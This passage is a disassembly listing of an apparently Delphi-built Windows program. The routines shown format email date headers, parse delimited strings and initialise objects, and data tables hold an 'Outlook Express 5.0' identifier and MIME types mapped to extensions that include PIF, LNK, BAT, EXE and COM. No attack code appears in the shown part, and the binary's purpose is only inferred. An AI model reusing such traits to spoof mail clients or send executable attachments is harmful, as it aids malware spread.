		mov	fs:[eax], esp
		inc	ds:dword_41E660
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_410EE0

locret_410ED8:				; CODE XREF: sub_410EB4+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410ED9:				; DATA XREF: sub_410EB4+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_410ED8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410EE0:				; CODE XREF: sub_410EB4+24j
					; DATA XREF: sub_410EB4+1Fo
		pop	ebp
		retn
sub_410EB4	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_410EE4:				; DATA XREF: CODE:0041A964o
		sub	ds:dword_41E660, 1
		jnb	short locret_410F03
		jmp	short locret_410F03
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
aOutlookExpre_2	db 'Outlook Express 5.0',0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

locret_410F03:				; CODE XREF: CODE:00410EEBj
					; CODE:00410EEDj
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_410F04	proc near		; CODE XREF: sub_411110+141p

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_58		= dword	ptr -58h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF40h
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		mov	[ebp+var_B0], edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_410FF1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_AC]
		push	eax
		call	j_GetTimeZoneInformation
		dec	eax
		jz	short loc_410F45
		dec	eax
		jnz	short loc_410F50
		mov	ebx, [ebp+var_AC]
		add	ebx, [ebp+var_4]
		jmp	short loc_410F56
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410F45:				; CODE XREF: sub_410F04+31j
		mov	ebx, [ebp+var_AC]
		add	ebx, [ebp+var_58]
		jmp	short loc_410F56
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410F50:				; CODE XREF: sub_410F04+34j
		mov	ebx, [ebp+var_AC]

loc_410F56:				; CODE XREF: sub_410F04+3Fj
					; sub_410F04+4Aj
		test	ebx, ebx
		jg	short loc_410F68
		mov	eax, esi
		mov	edx, offset dword_411008
		call	sub_40351C
		jmp	short loc_410F74
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410F68:				; CODE XREF: sub_410F04+54j
		mov	eax, esi
		mov	edx, offset dword_411014
		call	sub_40351C

loc_410F74:				; CODE XREF: sub_410F04+62j
		mov	eax, ebx
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ebx, eax
		mov	eax, ebx
		mov	ecx, 3Ch
		cdq
		idiv	ecx
		mov	edi, eax
		mov	eax, ebx
		mov	ecx, 3Ch
		cdq
		idiv	ecx
		mov	ebx, edx
		lea	eax, [ebp+var_B0]
		push	eax
		mov	[ebp+var_C0], edi
		mov	[ebp+var_BC], 0
		mov	[ebp+var_B8], ebx
		mov	[ebp+var_B4], 0
		lea	edx, [ebp+var_C0]
		mov	ecx, 1
		mov	eax, offset dword_411020
		call	sub_407B2C
		mov	edx, [ebp+var_B0]
		mov	eax, esi
		call	sub_40372C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_410FF8

loc_410FE5:				; CODE XREF: CODE:00410FF6j
		lea	eax, [ebp+var_B0]
		call	sub_4034C8
		retn
sub_410F04	endp ; sp = -0D4h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410FF1:				; DATA XREF: sub_410F04+19o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_410FE5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410FF8:				; DATA XREF: sub_410F04+DCo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_411008	dd 2Bh,	0FFFFFFFFh, 1	; DATA XREF: sub_410F04+58o
dword_411014	dd 2Dh,	0FFFFFFFFh, 8	; DATA XREF: sub_410F04+66o
dword_411020	dd 2 dup(64322E25h), 0,	0FFFFFFFFh, 3 ;	DATA XREF: sub_410F04+BDo
dword_411034	dd 6E7553h, 0FFFFFFFFh,	3, 6E6F4Dh, 0FFFFFFFFh,	3, 657554h
					; DATA XREF: DATA:0041D720o
					; DATA:0041D724o
		dd 0FFFFFFFFh, 3, 646557h, 0FFFFFFFFh, 3, 756854h, 0FFFFFFFFh
		dd 3, 697246h, 0FFFFFFFFh, 3, 746153h, 0FFFFFFFFh, 3
dword_411088	dd 6E614Ah, 0FFFFFFFFh,	3, 626546h, 0FFFFFFFFh,	3, 72614Dh
					; DATA XREF: DATA:0041D73Co
					; DATA:0041D740o
		dd 0FFFFFFFFh, 3, 727041h, 0FFFFFFFFh, 3, 79614Dh, 0FFFFFFFFh
		dd 3, 6E754Ah, 0FFFFFFFFh, 3, 6C754Ah, 0FFFFFFFFh, 3, 677541h
		dd 0FFFFFFFFh, 3, 706553h, 0FFFFFFFFh, 3, 74634Fh, 0FFFFFFFFh
		dd 3, 766F4Eh, 0FFFFFFFFh, 3, 636544h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_411110	proc near		; CODE XREF: sub_412A08+5Ep

var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFA4h
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		mov	[ebp+var_5C], edx
		mov	[ebp+var_4], eax
		mov	ecx, 7
		lea	eax, [ebp+var_28]
		mov	edx, ds:off_401000
		call	sub_403B1C
		mov	ecx, 0Ch
		lea	eax, [ebp+var_58]
		mov	edx, ds:off_401000
		call	sub_403B1C
		xor	eax, eax
		push	ebp
		push	offset loc_4112A2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ds:off_41DB38
		mov	eax, [eax]
		mov	edx, ds:off_41D720
		call	sub_403834
		jnz	short loc_411181
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	edx, [ebp+var_4]
		mov	eax, offset aDddDMmmYyyyHhM ; "ddd, d mmm yyyy hh:mm:ss"
		call	sub_408C8C
		jmp	loc_411244
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411181:				; CODE XREF: sub_411110+57j
		mov	ebx, 7
		mov	esi, ds:off_41DB38
		lea	edi, [ebp+var_28]
		mov	eax, offset off_41D720
		mov	[ebp+var_8], eax

loc_411197:				; CODE XREF: sub_411110+A7j
		mov	eax, edi
		mov	edx, [esi]
		call	sub_40351C
		mov	eax, esi
		mov	edx, [ebp+var_8]
		mov	edx, [edx]
		call	sub_40351C
		add	[ebp+var_8], 4
		add	edi, 4
		add	esi, 4
		dec	ebx
		jnz	short loc_411197
		mov	ebx, 0Ch
		mov	esi, ds:off_41DB5C
		lea	edi, [ebp+var_58]
		mov	eax, offset off_41D73C
		mov	[ebp+var_C], eax

loc_4111CF:				; CODE XREF: sub_411110+DFj
		mov	eax, edi
		mov	edx, [esi]
		call	sub_40351C
		mov	eax, esi
		mov	edx, [ebp+var_C]
		mov	edx, [edx]
		call	sub_40351C
		add	[ebp+var_C], 4
		add	edi, 4
		add	esi, 4
		dec	ebx
		jnz	short loc_4111CF
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	edx, [ebp+var_4]
		mov	eax, offset aDddDMmmYyyyHhM ; "ddd, d mmm yyyy hh:mm:ss"
		call	sub_408C8C
		mov	ebx, 7
		lea	esi, [ebp+var_28]
		mov	edi, ds:off_41DB38

loc_411212:				; CODE XREF: sub_411110+112j
		mov	eax, edi
		mov	edx, [esi]
		call	sub_40351C
		add	edi, 4
		add	esi, 4
		dec	ebx
		jnz	short loc_411212
		mov	ebx, 0Ch
		lea	esi, [ebp+var_58]
		mov	edi, ds:off_41DB5C

loc_411232:				; CODE XREF: sub_411110+132j
		mov	eax, edi
		mov	edx, [esi]
		call	sub_40351C
		add	edi, 4
		add	esi, 4
		dec	ebx
		jnz	short loc_411232

loc_411244:				; CODE XREF: sub_411110+6Cj
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		push	offset dword_4112E0
		lea	eax, [ebp+var_5C]
		call	sub_410F04
		push	[ebp+var_5C]
		mov	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_4037E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4112A9

loc_411273:				; CODE XREF: CODE:004112A7j
		lea	eax, [ebp+var_5C]
		call	sub_4034C8
		lea	eax, [ebp+var_58]
		mov	ecx, 0Ch
		mov	edx, ds:off_401000
		call	sub_403BE8
		lea	eax, [ebp+var_28]
		mov	ecx, 7
		mov	edx, ds:off_401000
		call	sub_403BE8
		retn
sub_411110	endp ; sp = -7Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4112A2:				; DATA XREF: sub_411110+3Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_411273
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4112A9:				; DATA XREF: sub_411110+15Eo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 18h
aDddDMmmYyyyHhM	db 'ddd, d mmm yyyy hh:mm:ss',0 ; DATA XREF: sub_411110+62o
					; sub_411110+EAo
		align 4
		dd 0FFFFFFFFh, 1
dword_4112E0	dd 20h			; DATA XREF: sub_411110+139o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4112E4	proc near		; CODE XREF: sub_41140C+40p
					; sub_4114A8+64p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_C], ebx
		mov	esi, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_41136E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		call	sub_4039B4
		mov	ebx, eax
		cmp	ebx, 1
		jge	short loc_411335
		mov	edx, esi
		mov	eax, [ebp+var_4]
		call	sub_406E9C
		jmp	short loc_411353
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411335:				; CODE XREF: sub_4112E4+43j
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, ebx
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_4]
		call	sub_40392C
		mov	eax, [ebp+var_C]
		mov	edx, esi
		call	sub_406E9C

loc_411353:				; CODE XREF: sub_4112E4+4Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_411375

loc_411360:				; CODE XREF: CODE:00411373j
		lea	eax, [ebp+var_C]
		mov	edx, 3
		call	sub_4034EC
		retn
sub_4112E4	endp ; sp = -1Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41136E:				; DATA XREF: sub_4112E4+28o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_411360
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411375:				; DATA XREF: sub_4112E4+77o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41137C	proc near		; CODE XREF: sub_41140C+30p
					; sub_4114A8+47p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_C], ebx
		mov	esi, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4113FC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		call	sub_4039B4
		mov	ebx, eax
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	ecx, eax
		sub	ecx, ebx
		lea	edx, [ebx+1]
		mov	eax, [ebp+var_4]
		call	sub_40392C
		mov	eax, [ebp+var_C]
		mov	edx, esi
		call	sub_406E9C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_411403

loc_4113EE:				; CODE XREF: CODE:00411401j
		lea	eax, [ebp+var_C]
		mov	edx, 3
		call	sub_4034EC
		retn
sub_41137C	endp ; sp = -1Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4113FC:				; DATA XREF: sub_41137C+28o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4113EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411403:				; DATA XREF: sub_41137C+6Do
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41140C	proc near		; CODE XREF: sub_4122C8+36p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_411481
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_8]
		mov	edx, offset dword_411498
		mov	eax, [ebp+var_4]
		call	sub_41137C
		lea	ecx, [ebp+var_C]
		mov	edx, offset dword_4114A4
		mov	eax, [ebp+var_8]
		call	sub_4112E4
		mov	edx, [ebp+var_C]
		lea	eax, [ebp+var_8]
		call	sub_403560
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		call	sub_406E9C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_411488

loc_411473:				; CODE XREF: CODE:00411486j
		lea	eax, [ebp+var_C]
		mov	edx, 3
		call	sub_4034EC
		retn
sub_41140C	endp ; sp = -18h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411481:				; DATA XREF: sub_41140C+1Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_411473
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411488:				; DATA XREF: sub_41140C+62o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_411498	dd 3Ch,	0FFFFFFFFh, 1	; DATA XREF: sub_41140C+28o
dword_4114A4	dd 3Eh			; DATA XREF: sub_41140C+38o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4114A8	proc near		; CODE XREF: sub_4122C8+2Bp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4115A2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		call	sub_406E9C
		mov	edx, [ebp+var_C]
		lea	eax, [ebp+var_4]
		call	sub_403560
		lea	ecx, [ebp+var_8]
		mov	edx, offset dword_4115B8
		mov	eax, [ebp+var_4]
		call	sub_41137C
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		call	sub_403834
		jz	short loc_41151E
		lea	ecx, [ebp+var_10]
		mov	edx, offset dword_4115B8
		mov	eax, [ebp+var_8]
		call	sub_4112E4
		mov	edx, [ebp+var_10]
		lea	eax, [ebp+var_8]
		call	sub_403560
		jmp	short loc_41157D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41151E:				; CODE XREF: sub_4114A8+57j
		lea	ecx, [ebp+var_8]
		mov	edx, offset dword_4115C4
		mov	eax, [ebp+var_4]
		call	sub_41137C
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		call	sub_403834
		jz	short loc_411558
		lea	ecx, [ebp+var_14]
		mov	edx, offset dword_4115D0
		mov	eax, [ebp+var_8]
		call	sub_4112E4
		mov	edx, [ebp+var_14]
		lea	eax, [ebp+var_8]
		call	sub_403560
		jmp	short loc_41157D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411558:				; CODE XREF: sub_4114A8+91j
		lea	ecx, [ebp+var_8]
		mov	edx, offset dword_4115DC
		mov	eax, [ebp+var_4]
		call	sub_4112E4
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		call	sub_403834
		jnz	short loc_41157D
		lea	eax, [ebp+var_8]
		call	sub_4034C8

loc_41157D:				; CODE XREF: sub_4114A8+74j
					; sub_4114A8+AEj ...
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		call	sub_406E9C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4115A9

loc_411594:				; CODE XREF: CODE:004115A7j
		lea	eax, [ebp+var_14]
		mov	edx, 5
		call	sub_4034EC
		retn
sub_4114A8	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4115A2:				; DATA XREF: sub_4114A8+1Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_411594
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4115A9:				; DATA XREF: sub_4114A8+E7o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_4115B8	dd 22h,	0FFFFFFFFh, 1	; DATA XREF: sub_4114A8+3Fo
					; sub_4114A8+5Co
dword_4115C4	dd 28h,	0FFFFFFFFh, 1	; DATA XREF: sub_4114A8+79o
dword_4115D0	dd 29h,	0FFFFFFFFh, 1	; DATA XREF: sub_4114A8+96o
dword_4115DC	dd 3Ch			; DATA XREF: sub_4114A8+B3o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4115E0	proc near		; DATA XREF: CODE:0041A970o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_411631
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E664
		jnz	short loc_411623
		mov	eax, offset off_41D73C
		mov	ecx, 0Ch
		mov	edx, ds:off_401000
		call	sub_403BE8
		mov	eax, offset off_41D720
		mov	ecx, 7
		mov	edx, ds:off_401000
		call	sub_403BE8

loc_411623:				; CODE XREF: sub_4115E0+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_411638

locret_411630:				; CODE XREF: sub_4115E0+56j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411631:				; DATA XREF: sub_4115E0+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_411630
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411638:				; CODE XREF: sub_4115E0+50j
					; DATA XREF: sub_4115E0+4Bo
		pop	ebp
		retn
sub_4115E0	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_41163C:				; DATA XREF: CODE:0041A96Co
		sub	ds:dword_41E664, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_411644	dd offset dword_411690	; DATA XREF: sub_412604+5r
					; sub_412844+ADr
		dd 2 dup(0)
		dd offset dword_411690
		dd 4 dup(0)
		dd offset dword_4116D2
		dd 2Ch
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_411894
dword_411690	dd 0Eh,	70000h		; DATA XREF: CODE:00411644o
					; CODE:00411650o
		db 2 dup(0)
		dd offset off_401000
		dd 4
		dd offset off_401000
		dd 8
		dd offset off_401000
		dd 0Ch
		dd offset off_401000
		dd 14h
		dd offset off_401000
		dd 18h
		dd offset off_401000
		dd 1Ch
		dd offset off_401000
		dd 20h
dword_4116D2	dd 694D5409h, 6150656Dh, 0FFFF7472h, 3FFFFh ; DATA XREF: CODE:00411664o
		align 4
dword_4116E4	dd 434F44h, 0FFFFFFFFh,	0Bh, 6C707061h,	74616369h, 6E6F69h
					; DATA XREF: DATA:0041D76Co
					; DATA:0041D770o ...
		dd 0FFFFFFFFh, 6, 6F57534Dh, 6472h, 0FFFFFFFFh,	3, 464947h
		dd 0FFFFFFFFh, 5, 67616D69h, 65h, 0FFFFFFFFh, 4, 4745504Ah
		dd 0, 0FFFFFFFFh, 3, 47504Ah, 0FFFFFFFFh, 4, 4745504Dh
		dd 0, 0FFFFFFFFh, 5, 65646976h,	6Fh, 0FFFFFFFFh, 3, 47504Dh
		dd 0FFFFFFFFh, 3, 464450h, 0FFFFFFFFh, 3, 474E50h, 0FFFFFFFFh
		dd 2, 5350h, 0FFFFFFFFh, 0Ah, 74736F50h, 69726373h, 7470h
		dd 0FFFFFFFFh, 3, 564F4Dh, 0FFFFFFFFh, 9, 63697571h, 6D69746Bh
		dd 65h,	0FFFFFFFFh, 3, 50495Ah,	0FFFFFFFFh, 7, 4670695Ah
		dd 656C69h, 0FFFFFFFFh,	3, 464950h, 0FFFFFFFFh,	0Ch, 6574636Fh
		dd 74732D74h, 6D616572h, 0, 0FFFFFFFFh,	3, 4B4E4Ch, 0FFFFFFFFh
		dd 3, 544142h, 0FFFFFFFFh, 3, 455845h, 0FFFFFFFFh, 3, 4D4F43h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_411838	proc near		; CODE XREF: sub_412604+Ap
					; sub_412844+B2p
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_411846
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_411846:				; CODE XREF: sub_411838+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_402BAC
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	[esi+24h], eax
		mov	dl, 1
		mov	eax, ds:off_40BE14
		call	sub_402BAC
		mov	[esi+28h], eax
		call	sub_40EEAC
		mov	[esi+13h], al
		mov	eax, esi
		test	bl, bl
		jz	short loc_41188E
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_41188E:				; CODE XREF: sub_411838+45j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_411838	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_411894	proc near		; DATA XREF: CODE:0041168Co
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, [esi+28h]
		call	sub_402BDC
		mov	eax, [esi+24h]
		call	sub_402BDC
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_402BCC
		test	bl, bl
		jle	short loc_4118C6
		mov	eax, esi
		call	sub_402D2C

loc_4118C6:				; CODE XREF: sub_411894+29j
		pop	esi
		pop	ebx
		retn
sub_411894	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4118CC	proc near		; CODE XREF: sub_412620+83p
					; sub_412708+B4p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 6

loc_4118D4:				; CODE XREF: sub_4118CC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4118D4
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_411CD8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	[ebp+var_4], eax
		mov	eax, [ebx+24h]
		mov	edx, [eax]
		call	dword ptr [edx+40h]
		mov	eax, [ebx+28h]
		xor	ecx, ecx
		xor	edx, edx
		mov	esi, [eax]
		call	dword ptr [esi+0Ch]
		xor	eax, eax
		push	ebp
		push	offset loc_411CA9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	al, [ebx+10h]
		sub	al, 1
		jb	short loc_411942
		sub	al, 2
		jb	short loc_411932
		jz	short loc_411942
		jmp	loc_411A94
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411932:				; CODE XREF: sub_4118CC+5Dj
		mov	edx, [ebx+28h]
		mov	eax, [ebx+24h]
		mov	ecx, [eax]
		call	dword ptr [ecx+5Ch]
		jmp	loc_411A94
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411942:				; CODE XREF: sub_4118CC+59j
					; sub_4118CC+5Fj
		cmp	byte ptr [ebx+11h], 3
		jnz	loc_411A1A
		jmp	loc_4119FE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411951:				; CODE XREF: sub_4118CC+146j
		lea	eax, [ebp+var_C]
		mov	edx, 36h
		call	sub_4039FC
		lea	eax, [ebp+var_8]
		call	sub_4034C8
		mov	edx, [ebp+var_C]
		mov	eax, [ebx+28h]
		mov	ecx, 36h
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	edi, eax
		mov	esi, edi
		test	esi, esi
		jle	short loc_4119A8
		mov	[ebp+var_10], 1

loc_411985:				; CODE XREF: sub_4118CC+DAj
		lea	eax, [ebp+var_14]
		mov	edx, [ebp+var_C]
